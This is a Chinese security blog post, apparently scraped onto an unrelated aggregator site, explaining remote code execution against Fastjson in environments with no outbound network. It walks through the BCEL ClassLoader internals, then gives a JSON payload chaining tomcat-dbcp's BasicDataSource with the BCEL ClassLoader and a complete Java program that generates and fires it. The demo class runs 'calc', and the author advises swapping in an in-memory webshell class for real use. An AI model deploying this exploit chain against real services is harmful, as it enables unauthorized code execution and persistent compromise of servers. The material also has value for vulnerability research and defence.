Java安全之Fastjson内网利用

您所在的位置:网站首页 游戏的动画片有哪些 Java安全之Fastjson内网利用

Java安全之Fastjson内网利用

#Java安全之Fastjson内网利用| 来源: 网络整理| 查看: 265

Java安全之Fastjson内网利用 0x00 前言

在打Fastjson的时候,基本上都是使用JNDI注入的方式去打,也就是

JdbcRowSetImpl 链分析的链去打,但是遇到一些不出网的情况就没办法使用该链去执行命令。JdbcRowSetImpl 链分析

但在看到kingx师傅的一篇[Java动态类加载,当FastJson遇到内网]后,陷入了沉思。

0x01 BCEL字节码

这用到的是BCEL字节码然后使用classload进行加载。但是思考到一个问题,为什么是使用BCEL也不是直接使用TemplatesImpl链去做本地的命令执行呢?其实前文中提到过这TemplatesImpl的漏洞触发点会有限制。调用parseObject()方法时,需要加入Feature.SupportNonPublicField参数。

而在tomcat中的 com.sun.org.apache.bcel.internal.util.ClassLoader 的loadclass方法中可以进行bcel字节码的加载。

protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException { Class cl = null; /* First try: lookup hash table. */ if((cl=(Class)classes.get(class_name)) == null) { /* Second try: Load system class using system class loader. You better * don't mess around with them. */ for(int i=0; i < ignored_packages.length; i++) { if(class_name.startsWith(ignored_packages[i])) { cl = deferTo.loadClass(class_name); break; } } if(cl == null) { JavaClass clazz = null; /* Third try: Special request? */ if(class_name.indexOf("$$BCEL$$") >= 0) clazz = createClass(class_name); else { // Fourth try: Load classes via repository if ((clazz = repository.loadClass(class_name)) != null) { clazz = modifyClass(clazz); } else throw new ClassNotFoundException(class_name); } if(clazz != null) { byte[] bytes = clazz.getBytes(); cl = defineClass(class_name, bytes, 0, bytes.length); } else // Fourth try: Use default class loader cl = Class.forName(class_name); } if(resolve) resolveClass(cl); } classes.put(class_name, cl); return cl; }

判断是否为$$BCEL$$的话则调用createClass方法,否则调用modifyClass方法返回一个class,modifyClass方法则是调用自带的classloader来加载。

来看到createClass方法

protected JavaClass createClass(String class_name) { int index = class_name.indexOf("$$BCEL$$"); String real_name = class_name.substring(index + 8); JavaClass clazz = null; try { byte[] bytes = Utility.decode(real_name, true); ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo"); clazz = parser.parse(); } catch(Throwable e) { e.printStackTrace(); return null; }

截取$$BCEL$$字节后面的内容然后进行解密,解密为class字节码,调用defineClass进行加载字节码。

com.sun.org.apache.bcel.internal.classfile.Utility包中有BCEL字节码的解密和解密方法。

String s = Utility.encode(data,true); byte[] bytes = Utility.decode(s, true); 0x02 利用链

添加tomcat依赖

org.apache.tomcat tomcat-dbcp 9.0.8

来看到poc

{ { "x":{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "x" }

使用该poc加载bcel字节码。详细可移步到[Java动态类加载,当FastJson遇到内网]

编写一个test类

package com; import java.io.IOException; public class test { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } } package com; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; class fj_test { public static void main(String[] argv) throws Exception{ JavaClass cls = Repository.lookupClass(test.class); String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码 String poc = "{\n" + " {\n" + " \"aaa\": {\n" + " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" + " }\n" + " }: \"bbb\"\n" + "}"; System.out.println(poc); JSON.parse(poc); } }

需要打内存马替换为内存马class即可。

在tomcat8以后和tomcat7的版本存在一点小差异

tomcat7使用的类是org.apache.tomcat.dbcp.dbcp.BasicDataSource,而在8版本以后名为org.apache.tomcat.dbcp.dbcp2.BasicDataSource

0x03 结尾

即便如此我个人依然觉得fastjson并不能算是一个利用比较舒服的洞。而在实际中遇到更多的可能只是去进行反弹shell利用,需要使用becl必须考虑到fastjson版本问题。或在利用RMI/LDAP的话也会有JDK版本限制。



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3